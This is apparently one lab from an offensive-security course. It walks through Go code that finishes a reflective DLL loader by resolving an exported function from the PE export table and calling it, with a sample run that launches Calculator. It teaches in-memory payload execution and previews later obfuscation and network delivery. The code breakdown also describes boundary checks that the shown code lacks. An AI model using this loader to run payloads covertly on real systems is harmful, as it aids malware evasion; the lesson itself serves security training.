Goal
We’ll now modify our application from Lab 5.1 to locate the address of the exported LaunchCalc
function within the mapped calc_dll.dll
by parsing the PE Export Directory. Once found, we can call this function using syscall.SyscallN
. This is the final step to trigger the DLL’s payload, which should launch the Windows Calculator.
Code
With your final solution from Lab 5.1 as the foundation, make the following changes
type IMAGE_EXPORT_DIRECTORY struct { //nolint:revive // Windows struct
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
Name uint32 // RVA of the DLL name string
Base uint32 // Starting ordinal number
NumberOfFunctions uint32 // Total number of exported functions (Size of EAT)
NumberOfNames uint32 // Number of functions exported by name (Size of ENPT & EOT)
AddressOfFunctions uint32 // RVA of the Export Address Table (EAT)
AddressOfNames uint32 // RVA of the Export Name Pointer Table (ENPT)
AddressOfNameOrdinals uint32 // RVA of the Export Ordinal Table (EOT)
}
We also want to add the following constant.
const (
IMAGE_DIRECTORY_ENTRY_EXPORT = 0 // Export Directory index in DataDirectory
// ... other constants ...
)
We’ll now add the new logic to call our exported function. Insert the following after the DllMain
call logic (from Lab 5.1), but before the final “Self-Check” or exit messages.
// --- Step 8: Find and Call Exported Function ---
targetFunctionName := "LaunchCalc" // The function we want to call
fmt.Printf("[+] Locating exported function: %s\n", targetFunctionName)
var targetFuncAddr uintptr = 0 // Initialize to 0 (not found)
// Find the Export Directory entry
exportDirEntry := optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
exportDirRVA := exportDirEntry.VirtualAddress
// exportDirSize := exportDirEntry.Size // Size might be useful for boundary checks
if exportDirRVA == 0 {
log.Println("[-] DLL has no Export Directory. Cannot find exported function.")
// Depending on requirements, might be fatal or just skip this step
} else {
fmt.Printf("[+] Export Directory found at RVA 0x%X\n", exportDirRVA)
exportDirBase := allocBase + uintptr(exportDirRVA) // VA of IMAGE_EXPORT_DIRECTORY
exportDir := (*IMAGE_EXPORT_DIRECTORY)(unsafe.Pointer(exportDirBase))
// Calculate the absolute addresses of the EAT, ENPT, and EOT
eatBase := allocBase + uintptr(exportDir.AddressOfFunctions) // Export Address Table VA
enptBase := allocBase + uintptr(exportDir.AddressOfNames) // Export Name Pointer Table VA
eotBase := allocBase + uintptr(exportDir.AddressOfNameOrdinals) // Export Ordinal Table VA
fmt.Printf(" NumberOfNames: %d, NumberOfFunctions: %d\n", exportDir.NumberOfNames, exportDir.NumberOfFunctions)
fmt.Println("[+] Searching Export Name Pointer Table (ENPT)...")
// Iterate through the names in ENPT
for i := uint32(0); i < exportDir.NumberOfNames; i++ {
// Get RVA of the function name string from ENPT
nameRVA := *(*uint32)(unsafe.Pointer(enptBase + uintptr(i*4))) // ENPT stores RVAs (4 bytes)
// Get VA of the function name string
nameVA := allocBase + uintptr(nameRVA)
// Read the function name string
funcName := windows.BytePtrToString((*byte)(unsafe.Pointer(nameVA)))
// Uncomment for verbose debugging:
// fmt.Printf(" [%d] Checking Name: '%s'\n", i, funcName)
// Check if this is the function name we are looking for
if funcName == targetFunctionName {
fmt.Printf(" [+] Found target function name '%s' at index %d.\n", targetFunctionName, i)
// Get the ordinal for this name from EOT using the same index i
// EOT stores WORDs (2 bytes)
ordinal := *(*uint16)(unsafe.Pointer(eotBase + uintptr(i*2)))
fmt.Printf(" Ordinal: %d\n", ordinal)
// Use the ordinal as an index into the EAT to get the function's RVA
// EAT stores RVAs (4 bytes)
// Note: The ordinal is the direct index into the EAT array
funcRVA := *(*uint32)(unsafe.Pointer(eatBase + uintptr(ordinal*4)))
fmt.Printf(" Function RVA: 0x%X\n", funcRVA)
// Calculate the final absolute Virtual Address of the target function
targetFuncAddr = allocBase + uintptr(funcRVA)
fmt.Printf("[+] Target function '%s' located at VA: 0x%X\n", targetFunctionName, targetFuncAddr)
break // Exit loop once found
}
} // End name search loop
// Check if we found the function
if targetFuncAddr == 0 {
log.Printf("[-] Target function '%s' not found in Export Directory.\n", targetFunctionName)
// Decide if this is fatal based on application logic
} else {
// --- Call the Exported Function ---
fmt.Printf("[+] Calling target function '%s' at 0x%X...\n", targetFunctionName, targetFuncAddr)
// LaunchCalc signature is: BOOL LaunchCalc() - takes 0 arguments
ret, _, callErr := syscall.SyscallN(targetFuncAddr, 0, 0, 0, 0)
if callErr != 0 {
log.Printf(" [-] Syscall error during '%s' call: %v\n", targetFunctionName, callErr)
// Consider if this is fatal
} else {
// Check the boolean return value from LaunchCalc
if ret != 0 { // Non-zero means TRUE
fmt.Printf(" [+] Exported function '%s' executed successfully (returned TRUE).\n", targetFunctionName)
fmt.Println(" ==> Check if Calculator launched! <==")
} else { // Zero means FALSE
fmt.Printf(" [-] Exported function '%s' reported failure (returned FALSE).\n", targetFunctionName)
}
}
}
} // End else (Export Directory found)
// --- Existing Final Messages / Self-Check ---
```
Finally replace the existing Self-Check section (now Step 9) to focus on our loader as a whole instead of any specific step.
```go
// --- Step 9: Self-Check (Basic) --- (Renumbered)
fmt.Println("\n[+] ===== FINAL LOADER STATUS =====") // Separator for final checks
fmt.Println("[+] Manual mapping & execution process complete.")
fmt.Println("[+] Self-Check Suggestion:")
fmt.Printf(" - Verify console output shows successful completion of all stages (Parse, Alloc, Map, Reloc Check, IAT, DllMain, Export Call).\n")
fmt.Printf(" - PRIMARY CHECK: Verify that '%s' was launched successfully!\n", "calc.exe")
fmt.Printf(" - (Optional) Use Process Hacker/Explorer to observe the loader process briefly running and launching the payload.\n")
fmt.Println("\n[+] Press Enter to free memory and exit.")
fmt.Scanln()
fmt.Println("[+] Mapper finished.")
}
Code Breakdown
Note this explains only the logic added or significantly changed compared to the code from Lab 5.1 .
New Struct + Constant
IMAGE_EXPORT_DIRECTORY
struct: Added to define the layout of the PE Export Directory. Contains counts (NumberOfFunctions
,NumberOfNames
) and RVAs to the key tables (AddressOfFunctions
,AddressOfNames
,AddressOfNameOrdinals
).IMAGE_DIRECTORY_ENTRY_EXPORT
constant (0): Added index for the Export Directory in the Data Directory.
Find and Call Exported Function (Step 8)
- Define Target: Sets
targetFunctionName
to"LaunchCalc"
. InitializestargetFuncAddr
to 0. - Locate Export Directory: Gets the
exportDirEntry
fromoptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. Skips if no export directory exists. - Parse Export Directory: Calculates the VA (
exportDirBase
) of theIMAGE_EXPORT_DIRECTORY
structure within the mapped DLL memory (allocBase
) and reads the structure using anunsafe.Pointer
cast. - Locate Export Tables: Calculates the absolute VAs (
eatBase
,enptBase
,eotBase
) of the Export Address Table, Export Name Pointer Table, and Export Ordinal Table by adding their respective RVAs (from theexportDir
struct) toallocBase
. Adds debug prints for these addresses and counts. - Search Names (ENPT Loop): Iterates from
i = 0
toexportDir.NumberOfNames - 1
.- Calculates the address of the i-th name RVA pointer within ENPT (
enptBase + uintptr(i*4)
). Reads thenameRVA
(auint32
). - Calculates the VA of the name string (
nameVA = allocBase + uintptr(nameRVA)
). - Reads the null-terminated string at
nameVA
usingwindows.BytePtrToString
. - Compares the read
funcName
withtargetFunctionName
.
- Calculates the address of the i-th name RVA pointer within ENPT (
- Process Match: If the name matches:
- Calculates the address of the i-th ordinal in the EOT (
eotBase + uintptr(i*2)
). Reads the 16-bitordinal
. - Uses the
ordinal
as an index into the EAT. Calculates the address of the function’s RVA pointer in the EAT (eatBase + uintptr(ordinal*4)
). Reads thefuncRVA
(auint32
). - Calculates the final absolute VA of the target function:
targetFuncAddr = allocBase + uintptr(funcRVA)
. - Includes several boundary checks (for reading name RVA, name string, ordinal, function RVA, and the final calculated function VA) to ensure pointers/indices are within the allocated memory bounds before dereferencing or declaring success.
- Breaks the loop once the function is found (or determined invalid).
- Calculates the address of the i-th ordinal in the EOT (
- Check if Found: After the loop, checks if
targetFuncAddr
is still 0. If so, logs an error that the function wasn’t found. - Call Exported Function: If
targetFuncAddr
is valid (non-zero):- Logs the attempt to call the function.
- Uses
syscall.SyscallN(targetFuncAddr, 0, 0, 0, 0)
to call the function (sinceLaunchCalc
takes no arguments). - Checks
callErr
for syscall errors. - Checks the
ret
value (BOOL return fromLaunchCalc
).
Instructions
- Compile the new application.
GOOS=windows GOARCH=amd64 go build
- Then copy it over to target system and invoke from command-line, providing as argument the dll you’d like to analyze, for example:
".\reflect_final.exe .\calc_dll.dll"
Results
PS C:\Users\vuilhond\Desktop> .\reflect_final.exe .\calc_dll.dll
[+] Starting Manual DLL Mapper (with IAT Resolution)...
[+] Reading file: .\calc_dll.dll
[+] Parsed PE Headers successfully.
[+] Target ImageBase: 0x26A5B0000
[+] Target SizeOfImage: 0x22000 (139264 bytes)
[+] Allocating 0x22000 bytes of memory for DLL...
[+] DLL memory allocated successfully at actual base address: 0x26A5B0000
[+] Copying PE headers (1536 bytes) to allocated memory...
[+] Copied 1536 bytes of headers successfully.
[+] Copying sections...
[+] All sections copied.
[+] Checking if base relocations are needed...
[+] Image loaded at preferred base. No relocations needed.
[+] Processing Import Address Table (IAT)...
[+] Import Directory found at RVA 0x9000
[->] Processing imports for: KERNEL32.dll
[+] Finished imports for 'KERNEL32.dll'.
[->] Processing imports for: api-ms-win-crt-environment-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-environment-l1-1-0.dll'.
[->] Processing imports for: api-ms-win-crt-heap-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-heap-l1-1-0.dll'.
[->] Processing imports for: api-ms-win-crt-runtime-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-runtime-l1-1-0.dll'.
[->] Processing imports for: api-ms-win-crt-stdio-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-stdio-l1-1-0.dll'.
[->] Processing imports for: api-ms-win-crt-string-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-string-l1-1-0.dll'.
[->] Processing imports for: api-ms-win-crt-time-l1-1-0.dll
[+] Finished imports for 'api-ms-win-crt-time-l1-1-0.dll'.
[+] Import processing complete (7 DLLs).
[+] Locating and calling DLL Entry Point (DllMain)...
[+] Entry Point found at RVA 0x1330 (VA 0x26A5B1330).
[+] Calling DllMain(0x26A5B0000, DLL_PROCESS_ATTACH, 0)...
[+] DllMain executed successfully (returned TRUE).
[+] Locating exported function: LaunchCalc
[+] Export Directory found at RVA 0x8000
NumberOfNames: 1, NumberOfFunctions: 1
[+] Searching Export Name Pointer Table (ENPT)...
[+] Found target function name 'LaunchCalc' at index 0.
Ordinal: 0
Function RVA: 0x1491
[+] Target function 'LaunchCalc' located at VA: 0x26A5B1491
[+] Calling target function 'LaunchCalc' at 0x26A5B1491...
[+] Exported function 'LaunchCalc' executed successfully (returned TRUE).
==> Check if Calculator launched! <==
[+] ===== FINAL LOADER STATUS =====
[+] Manual mapping & execution process complete.
[+] Self-Check Suggestion:
- Verify console output shows successful completion of all stages (Parse, Alloc, Map, Reloc Check, IAT, DllMain, Export Call).
- PRIMARY CHECK: Verify that 'calc.exe' was launched successfully!
- (Optional) Use Process Hacker/Explorer to observe the loader process briefly running and launching the payload.
[+] Press Enter to free memory and exit.
[+] Mapper finished.
[+] Attempting to free main DLL allocation at 0x26A5B0000...
[+] Main DLL memory freed successfully.
In addition to our terminal output we should now also see our actual calculator appear on screen!
Discussion
(Previous Stages Completed)
- Confirms successful PE parsing, memory allocation at preferred base (0x26A5B0000
), header/section mapping, skipping of relocations, successful IAT resolution for 7 DLLs, and successful call toDllMain
.Export Directory found at RVA 0x8000
- This confirms the loader successfully located the PE Export Directory using the Data Directory entry.Found target function name 'LaunchCalc' at index 0.
…Target function 'LaunchCalc' located at VA: 0x26A5B1491
- These lines show the export lookup logic worked correctly: it iterated the Export Name Pointer Table, found “LaunchCalc”, used the Export Ordinal Table (ordinal 0) to index into the Export Address Table (getting RVA 0x1491), and calculated the correct final Virtual Address for the function.Calling target function 'LaunchCalc' at 0x26A5B1491...
- Indicates the program is about to execute the resolved function address viasyscall.SyscallN
.Exported function 'LaunchCalc' executed successfully (returned TRUE).
- This confirms thesyscall.SyscallN
call completed without system error and theLaunchCalc
function itself returned TRUE, indicating the shellcode execution within it likely succeeded.
Conclusion
If you’ve made it this far - GREAT JOB!
In these first 5 modules we have now successfully constructed a functional reflective DLL loader in Go from the ground up. We’ve manually replicated the core tasks of the Windows loader: parsing the PE structure, allocating memory, mapping sections, handling address relocations, resolving imports via the IAT, and finally, invoking both the optional DllMain
entry point and a specific exported function to execute the payload – all without relying on LoadLibrary
for the target DLL. This achieves the fundamental goal of in-memory execution.
So while functional, our current loader operates on a locally stored, unobfuscated DLL. So in our following modules we’ll learn both how to properly obfuscate, and then transfer our payload across a network to ensure it stays in-memory on the target machine. We’ll then bring everything together in a final project in Module 09.
I hope you are as pumped as I am!